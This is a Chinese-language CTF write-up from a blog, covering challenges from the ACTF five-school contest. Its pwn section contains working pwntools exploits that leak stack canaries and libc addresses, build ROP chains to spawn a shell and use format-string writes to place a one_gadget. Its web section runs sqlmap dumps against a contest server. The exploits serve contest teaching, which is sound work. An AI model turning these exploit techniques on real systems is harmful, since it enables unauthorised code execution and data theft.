ACTF五校联赛

1. Pwn

1. secret_of_girlfriend

分析

  • 程序中有三处地方内藏flag,两处在data段,一处在bss。其中有两处会被销毁,只剩下一处flag还存在。
  • 程序内部有缓冲区溢出,开启Canary保护
  • 通过缓冲区溢出,覆盖栈上environ处指向程序名称的指针为flag地址,并通过___stack_chk_fail将剩下一处flag打印出来就好

实际上如果三处flag都被覆盖,仍然有办法可以得到flag。

部分EXP

完整exp在pwn部分最后

1
2
3
4
if ELFname == "./secret_of_girlfriend":
debug("b * 0x40090c\nc")
sla("fogot =v=.", flat(cyclic(0x118), 0x00000000006010E0))
io.interactive()

2. frame

分析

  • 程序白给栈地址,明摆着栈劫持
  • 程序在函数内部会两次调用read和printf
    我们需要通过第一次read,覆盖Canary的最低一字节,从而泄露Canary
    然后通过第二次read劫持栈,执行write(0, got['write'], rdx),泄露出write的libc地址和libc版本,进而计算出system的libc地址
    之后使其重新执行vuln函数
  • 再次栈劫持时直接执行system(“sh”),注意别忘记canary。sh字符串截取自程序LOAD段上的flush字符串。(如果没记错应该是LOAD段)

部分EXP

完整exp在pwn部分最后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
if ELFname == "./frame":
rdi = 0x4012db
rdx_rsi = 0x40118c
leave_ret = 0x40125f
ru("gift:")
msg = ru("\n")[:-1]
new_stack = int(msg, 16)
log.info("msg: " + msg)

sa(">", cyclic(0x59))
rv(0x58)
msg = rv(8)
canary = u64('\x00' + msg[1:])
log.info("canary: " + hex(canary))
payload = flat(cyclic(8), rdi, 1, rdx_rsi, 0x8, e.got['write'],
e.symbols['write'], e.symbols['vul'],
cyclic(0x18), canary, new_stack, leave_ret)
sa(">", payload)
rv(11)
msg = rv(8)
log.info("libc_write_msg:" + msg.encode('hex'))
libc_write = u64(msg)
log.info("libc write:" + hex(libc_write))

ru("I'll give you a gift:")
msg = ru("\n")[:-1]
new_stack = int(msg, 16)
log.info("stack_msg: " + msg)
sh = 0x40042f
obj = LibcSearcher('write', libc_write)
system = libc_write - obj.dump('write') + obj.dump('system')
sa(">", cyclic(0x59))
payload = flat(cyclic(8), rdi, sh, system,
cyclic(0x38), canary, new_stack, leave_ret)
debug("b * 0x40118c\nb vul")
sla(">", payload)

io.interactive()

3. rdw

分析

  • 程序设置了prctl函数,无法直接get shell
  • 程序中有明显的缓冲区溢出漏洞
  • 尝试执行OpenReadWrite Flag

注意: 执行Read/Write函数时,$rdx必须要大一点,否则无法读取/写入对应的目标
但程序中没有关于寄存器$rdx的gadget,所以需要多次返回至vuln函数来重置$rdx为较大的值

部分EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
if ELFname == './rdw':
rdi = 0x400a73
rsi_r15 = 0x400a71
buf = 0x0601090
sla(">>", 'flag\x00')
open = e.symbols['open']
read = e.symbols['read']
write = e.symbols['write']
payload = flat(cyclic(0x58),
rdi, buf, rsi_r15, 0, 0, open, 0x40087B)
sla("who cares your input\n", payload)

payload = flat(cyclic(0x58),
rdi, 3, rsi_r15, buf, 0, read, 0x40087B)
sla("who cares your input\n", payload)

payload = flat(cyclic(0x58),
rdi, 1, rsi_r15, buf, 0, write)
debug("b * 0x4008B9")
sla("who cares your input\n", payload)

io.interactive()

4. repeat

分析

  • 格式化字符串漏洞,可执行20次
  • 先泄露出__libc_start_main_ret地址,从而泄露出libc基地址与libc版本
  • 计算出one_gadget地址
  • 泄露出栈地址,然后计算__libc_start_main_ret所处的栈地址
  • 往该地址写入one_gaget地址
  • 注意:写入地址时最好一字节一字节写入,否则printf出来的数据会非常非常大,会造成卡顿乃至崩溃

部分EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
if ELFname == './repeat':
sla(">> ", "%19$p")
msg = ru('\n')[:-1]
libc_start_main_ret = int(msg, 16)
log.info("libc_start_main_ret: " + hex(libc_start_main_ret))
obj = LibcSearcher("__libc_start_main_ret", libc_start_main_ret)
libc_base = libc_start_main_ret - obj.dump('__libc_start_main_ret')
log.info("libc base: " + hex(libc_base))
one_gadget = libc_base + 0x45216

sla(">> ", "%16$p")
msg = ru('\n')[:-1]
libc_start_main_ret_stack = int(msg, 16) + 8
target_addr_str = hex(one_gadget)
debug()
for i in range(6):
idx = target_addr_str[-2:]
target_addr_str = target_addr_str[:-2]
input_idx = str(int(idx, 16))
sla(">> ", "%" + input_idx +"c%10$hhn" +
'\x00' * (7 - len(input_idx)) +
p64(libc_start_main_ret_stack + i))
sla(">> ", "quit")
io.interactive()

* 完整EXP

当初忘记还要写WriteUp,否则EXP就不会这么难看了 T_T

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
# -*- coding: utf-8 -*-
import sys
from LibcSearcher import *
from pwn import *

ELFname = "./repeat"

if len(sys.argv) > 1:
io = remote("39.107.46.219", 40011)
else:
io = process(ELFname)

#libc = ELF("./libc.so.6")
e = ELF(ELFname)

sla = lambda msg, content : io.sendlineafter(msg, content)
sa = lambda msg, content : io.sendafter(msg, content)
sl = lambda content : io.sendline(content)
rv = lambda x=None : io.recv(x)
ru = lambda msg : io.recvuntil(msg)

def debug(msg = ""):
if len(sys.argv) == 1:
gdb.attach(io, msg)

context(terminal=['gnome-terminal', '-x', 'bash', '-c'], os='linux', arch='amd64')
context.log_level = 'debug'

if ELFname == "./secret_of_girlfriend":
debug("b * 0x40090c\nc")
sla("fogot =v=.", flat(cyclic(0x118), 0x00000000006010E0))
io.interactive()
if ELFname == "./frame":
rdi = 0x4012db
rdx_rsi = 0x40118c
leave_ret = 0x40125f
ru("gift:")
msg = ru("\n")[:-1]
new_stack = int(msg, 16)
log.info("msg: " + msg)

sa(">", cyclic(0x59))
rv(0x58)
msg = rv(8)
canary = u64('\x00' + msg[1:])
log.info("canary: " + hex(canary))
payload = flat(cyclic(8), rdi, 1, rdx_rsi, 0x8, e.got['write'],
e.symbols['write'], e.symbols['vul'],
cyclic(0x18), canary, new_stack, leave_ret)
sa(">", payload)
rv(11)
msg = rv(8)
log.info("libc_write_msg:" + msg.encode('hex'))
libc_write = u64(msg)
log.info("libc write:" + hex(libc_write))

ru("I'll give you a gift:")
msg = ru("\n")[:-1]
new_stack = int(msg, 16)
log.info("stack_msg: " + msg)
sh = 0x40042f
obj = LibcSearcher('write', libc_write)
system = libc_write - obj.dump('write') + obj.dump('system')
sa(">", cyclic(0x59))
payload = flat(cyclic(8), rdi, sh, system,
cyclic(0x38), canary, new_stack, leave_ret)
debug("b * 0x40118c\nb vul")
sla(">", payload)

io.interactive()
if ELFname == './rdw':
rdi = 0x400a73
rsi_r15 = 0x400a71
buf = 0x0601090
sla(">>", 'flag\x00')
open = e.symbols['open']
read = e.symbols['read']
write = e.symbols['write']
payload = flat(cyclic(0x58),
rdi, buf, rsi_r15, 0, 0, open, 0x40087B)
sla("who cares your input\n", payload)

payload = flat(cyclic(0x58),
rdi, 3, rsi_r15, buf, 0, read, 0x40087B)
sla("who cares your input\n", payload)

payload = flat(cyclic(0x58),
rdi, 1, rsi_r15, buf, 0, write)
debug("b * 0x4008B9")
sla("who cares your input\n", payload)

io.interactive()
if ELFname == './repeat':
sla(">> ", "%19$p")
msg = ru('\n')[:-1]
libc_start_main_ret = int(msg, 16)
log.info("libc_start_main_ret: " + hex(libc_start_main_ret))
obj = LibcSearcher("__libc_start_main_ret", libc_start_main_ret)
libc_base = libc_start_main_ret - obj.dump('__libc_start_main_ret')
log.info("libc base: " + hex(libc_base))
one_gadget = libc_base + 0x45216

sla(">> ", "%16$p")
msg = ru('\n')[:-1]
libc_start_main_ret_stack = int(msg, 16) + 8
target_addr_str = hex(one_gadget)
debug()
for i in range(6):
idx = target_addr_str[-2:]
target_addr_str = target_addr_str[:-2]
input_idx = str(int(idx, 16))
log.info("system index: " + idx)
sla(">> ", "%" + input_idx +"c%10$hhn" +
'\x00' * (7 - len(input_idx)) +
p64(libc_start_main_ret_stack + i))
sla(">> ", "quit")
io.interactive()

2. Web

1. SQL注入入门题

  • SQLmap跑起,简单省事
1
2
3
4
5
6
144  sqlmap -u http://106.15.207.47:22001/\?id\=1
146 sqlmap -u http://106.15.207.47:22001/\?id\=1 --dbs
147 sqlmap -u http://106.15.207.47:22001/\?id\=1 -D easy_sql_injection --tables
148 sqlmap -u http://106.15.207.47:22001/\?id\=1 -D easy_sql_injection -T Notice --columns
149 sqlmap -u http://106.15.207.47:22001/\?id\=1 -D easy_sql_injection -T Notice -C flag
150 sqlmap -u http://106.15.207.47:22001/\?id\=1 -D easy_sql_injection -T Notice -C flag --dump

3. Crypto

1. naive encryption、

  • 暴力就完事儿了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from hashlib import sha512
from Crypto.Util.number import *
def pow_check():
for i in range(0,0xfffff):
n=long_to_bytes(i)
if(sha512(n).hexdigest()[:20]=="aed0a51e7826a82043f3"):
print(i)
break
pow_check()

cipher=[71, 37, 4, 242, 109, 39, 241, 227, 104, 207, 210, 5,
224, 155, 19, 19, 39, 53, 155, 36, 244, 104, 2, 155,
207, 36, 210, 22, 155, 19, 36, 227, 22, 224, 241, 241, 244, 2, 70, 207, 227, 75]

k=[3,5,7,11,13,17,19,23,29,31,37,
41,43,47,53,59,61,67,71,73,79,
83,89,97,101,103,107,109,113,
127,131,137,139,149,151,157,
163,167,173,179,181,191,193,
197,199,211,223,227,229,233,
239,241,251]

def decrypt():
len_flag = len(cipher)
len_k = len(k)

for i in range(len_flag):
for ch in range(126, 32, -1):
tmpCh = ch
n=1000
while(n>0):
ch=(ch*k[(n+2)%len_k]+k[(n*7)%len_k])&0xff
n=n-1
if ch == cipher[i]:
print chr(tmpCh)

decrypt()

4. Misc

1. 饭友记

  • 一开始想通过cheatEngine修改血量或者金钱的,但没成功

  • 实际上只要在配置文件内修改马老师的HP为10,然后再随便打几枪,马老师就倒了,flag到手

    不直接修改为0,是担心这样做可能会导致程序产生某种异常

    game/www/data/Map001.json中的hp数值更改为10就好

    img

2. Whale

  • 把docker镜像pull并开启

  • 执行env命令,发现
    img

  • 执行cat /root/.ash_history, 发现(单击图片可放大)
    img
    执行一下得到
    img

  • 由于docker中没有查找文件的指令(也可能是我太菜了T_T)
    所以就直接在本地找了,本地当前镜像的位置为/var/lib/docker/overlay2/913d61dbe4dd3eb16cc351295c8a3a7e8ba08c988f59503da36ea6488f2c4c32/merged/
    执行tree -a,在docker中的/usr/share/apk/keys/x86_64/发现目标文件whalefall.tar.gz

  • 解压压缩包,发现该压缩包内含一个加密压缩包。最外围的压缩包里有一个名为maybe_there_is_another_hint_in_usr的文件名,返回/usr中继续查找

  • /usr/lib/engines-1.1/controls中发现hint3,该文件里内含一段被Ook!编码过后的信息。处理一下得到压缩包密码Dockerhub_1s_a_n1ce_place

  • 解压加密压缩包,得到一张图片。010Editor打开发现末尾的morse编码

    1
    -.. --- -.-. -.- ...-- .-. .... ..- -... .---- ... .... .- .-. -.. - ----- .-.. ----- --. .---- -. ..... ..... .....
  • 在线解密后得到一串字符串DOCK3RHUB1SHARDT0L0G1N555

  • 包上ACTF{}外壳后提交即可

  • 总结:多层套娃

5. Reverse

1. pandora

  • 程序会在读取输入之后,将一段特定的数据写入栈上
    img
    就是下面这段
    img

  • 程序会将输入的数据经过处理,在处理结束后判断处理结果(其位于$rsp+8)是否为curiosity
    如果是,则给出flag

  • switch中能修改处理结果的操作只有异或。
    所以我们必须通过switch中的其他分支来控制与其异或的另一个变量
    img

  • 先把每次异或的目的值计算出来

    1
    2
    3
    4
    5
    6
    7
    8
    9
    0x70 ^ ord('c') == 19
    0x43 ^ ord('u') == 54
    0x45 ^ ord('r') == 55
    0x72 ^ ord('i') == 27
    0x42 ^ ord('o') == 45
    0x77 ^ ord('s') == 4
    0x2c ^ ord('i') == 69
    0x7a ^ ord('t') == 14
    0x3f ^ ord('y') == 70
  • 然后再根据switch其他分支修改变量v11

    • XXCCF : (70 >> 2) + 2 == 19
    • JXXCCCCCF :
      • ((19 >> 2) | (19 << 6)) & 0xff == 196
      • (196 >> 2) & 0x7F == 49
      • 49 + 5 == 54
    • CF : 54 + 1 == 55
    • XF : 55 >> 1 == 27
    • XXXCCMCCCCCF :
      • (27 >> 3) + 2 == 5
      • (8 * 5 | (5 >> 5)) == 40
      • 40 + 5 == 45
    • XXXXCCF : (45 >> 4) + 2 == 4
    • MJMCCCCCF :
      • (8 * 41) | (4 >> 5) == 32
      • ((32 >> 2) | (32 << 6)) & 0xff == 8
      • (8 * 8) | (8 >> 5) == 64
      • 64 + 5 == 69
    • XXXCCCCCCF : (69 >> 3) + 6 == 14
    • XCMCCCCCCF :
      • (14 >> 1) + 1 == 8
      • (8 * 8) | (8 >> 5) == 64
      • 64 + 6 == 70
  • 综上,EXP为 XXCCFJXXCCCCCFCFXFXXXCCMCCCCCFXXXXCCFMJMCCCCCFXXXCCCCCCFXCMCCCCCCF

  • 成功得到flag
    img

2. easyalgorithm

  • 程序只会在一处地方验证flag

  • 所以只要分别把图里的变量v3和变量sdump出来,然后爆破就好
    img

  • EXP

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    #include <iostream>
    using namespace std;

    // 这个函数完全照抄IDA里的,基本没改过
    unsigned __int64 __fastcall keyFunc2(char* a1, char* a2, unsigned int a3)
    {
    unsigned int v3; // eax
    char v4; // ST27_1
    unsigned __int64 result; // rax
    signed int v6; // [rsp+28h] [rbp-10h]
    int i; // [rsp+2Ch] [rbp-Ch]
    unsigned __int64 v8; // [rsp+30h] [rbp-8h]

    v8 = 0LL;
    v6 = 0;
    for (i = 0; ; *(a2 + v8++) ^= *((unsigned __int8)(*(v6 + a1) + *(i + a1)) + a1))
    {
    result = v8;
    if (v8 >= a3)
    break;
    v6 = (unsigned __int8)(((unsigned int)((v6 + 1) >> 31) >> 24) + v6 + 1) - ((unsigned int)((v6 + 1) >> 31) >> 24);
    v3 = (unsigned int)((i + *(unsigned __int8*)(v6 + a1)) >> 31) >> 24;
    i = (unsigned __int8)(v3 + i + *(v6 + a1)) - v3;
    v4 = *(v6 + a1);
    *(a1 + v6) = *(i + a1);
    *(a1 + i) = v4;
    }
    return result;
    }

    int main()
    {
    char array[] = "\
    \x13\x48\x45\x07\x69\x8c\xdf\x58\x63\xed\x83\x97\x25\x2d\x17\xeb\
    \x3c\x90\x49\xc4\x30\xfc\x84\x3f\x1c\x78\x0d\xc5\xa0\x50\x56\xd7\
    \x38\x1b\xe8\x7b\x1e\xbd\x42\xe9\x57\x61\xcd\x80\x3d\x65\x2f\xa3\
    \xa4\xf7\x96\x87\xe2\xc6\x1f\xbe\x7c\x88\x03\x40\x91\x1d\x92\xc3\
    \x93\xb4\xc7\xf5\xa2\xdb\x21\xfd\x68\x22\x14\xc8\xce\x6f\x6e\x7d\
    \x10\x27\xcb\x3b\xdc\x74\x72\x36\x24\x9f\xb1\xee\x4a\xe3\xdd\x5a\
    \x5b\x3e\xf0\xf1\x01\xea\x06\x7a\x09\x71\xf8\x9a\x08\x00\x98\x2a\
    \xd8\xb2\x16\x55\xaf\xca\x8e\xad\x3a\x23\x33\xd2\x8f\xb9\x9c\x1a\
    \x4e\x95\x2b\x4b\xcf\x77\x85\x4f\xec\xb8\x11\xba\xd9\x94\x6b\x5c\
    \x0e\x41\x79\x4c\xe0\x89\x19\xc0\x26\x0a\x81\xc1\xd3\x28\xa5\x67\
    \xb3\xa7\x76\x43\x20\x7f\xf9\x0f\x59\xa8\x0c\xf3\xf2\xda\xb6\xae\
    \x8b\xc2\xd5\x9b\x82\x46\x37\x99\x2e\xab\xb5\x75\xa6\xbc\x54\x8a\
    \x6d\x8d\xb0\x60\x44\x47\x4d\x6c\x2c\xbb\xd4\x34\xe6\x5f\x9d\x66\
    \xd6\x5e\xe7\x05\xde\xcc\x02\xc9\xfe\xaa\x52\x6a\xd1\x53\x29\x0b\
    \xf4\x70\xff\xd0\x35\xe1\x5d\xe5\xfb\xe4\x73\x9e\x18\x62\x15\x39\
    \x86\xa1\xbf\xb7\xfa\xa9\x64\xef\xac\x51\x12\xf6\x32\x7e\x31\x04";

    string checkFlag = "\xc4\xc5\x89\x8a\xcc\x9c\x18\x44\x08\x0a\x6a\x29\xd2\xe4\x2e";
    string flag;

    for (int index = flag.size(); index < 15; index++)
    {
    for (char ch = 0x20; ch < 0x7f; ch++)
    {
    char output[16];
    memset(output, 0, 16);
    memcpy(output, flag.c_str(), flag.size());
    output[index] = ch;

    char tmpArray[256];
    memcpy(tmpArray, array, 256);

    keyFunc2(tmpArray, output, index + 1);
    if (!strncmp(checkFlag.c_str(), output, index + 1))
    {
    flag += ch;
    break;
    }
    }
    }
    cout << "ACTF{" + flag + "}" << endl;

    return 0;
    }

3. easylogin

  • 先字符串搜索,定位到关键代码
    img

  • 发现username校验代码段,对关键数组再次异或即可得到username
    img

  • 发现password校验代码段,这里采取爆破的手段
    不过在爆破前,需要先把三个关键数组的数据dump出来
    img

  • 坑点: 这里有两个特殊的判断条件。为什么特殊呢?
    因为这两个判断条件是永远不会成立的(如果想拿flag的话)。
    如果想进入内部代码的话,只能通过跳转标签来进入。
    img

  • EXP

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    #include <iostream>

    using namespace std;

    void getUsername()
    {
    string username;
    char aI[] = "\x49\x2A\x04\x02\x11";
    username += '\0';
    for (int i = 0; i < strlen(aI); i++)
    username += ((aI[i] ^ username.back()) - 1);
    username.erase(username.begin());
    cout << "Username: " << username << endl;
    // Hades
    }

    void getPassword()
    {
    string aRn5PfL8 = "\x52\x6E\x7B\x35\x22\x50\x46\x5C\x40\x6C\x38\x1D\x24\x7E\x6C\x22\x46\x1D";
    string aCJ = "\
    \x43\x3F\x4A\x0F\x6D\x79\x79\x67\
    \x64\x73\x07\x3C\x39\x68\x40\x5D\
    \x55\x0C\x3C\x7B\x40\x12\x23\x6D\
    \x73\x5D\x7A\x59\x1F\x0E\x23\x7E";

    string _v28 = "\
    \x1A\x0F\x1F\x50\x51\x18\
    \x27\x38\x25\x1F\x70\x7C\
    \x40\x1B\x1F\x6A\x27\x79";

    string password;

    for (int len = 0; len < 32; len++)
    {
    for (char ch = 0x20; ch < 0x7f; ch++)
    {
    string passwd = password + ch;
    int v23 = 0;
    int v14 = 0;
    while (1)
    {
    char v24 = _v28.c_str()[v14 % aRn5PfL8.size()];
    if (aCJ[v23] != ((unsigned __int16)(passwd[v23] | v24) & (unsigned __int16)~(passwd[v23] & v24)))
    break;
    ++v14;
    if (++v23 >= passwd.size())
    {
    password += ch;
    break;
    }
    }
    }
    }
    // Y0U_<a^_Alw@ys_7ru&t_BruTe_Force
    cout << "password: " << password << endl;;
    }

    int main()
    {
    getUsername();
    getPassword();

    return 0;
    }
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2020-2024 Kiprey
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~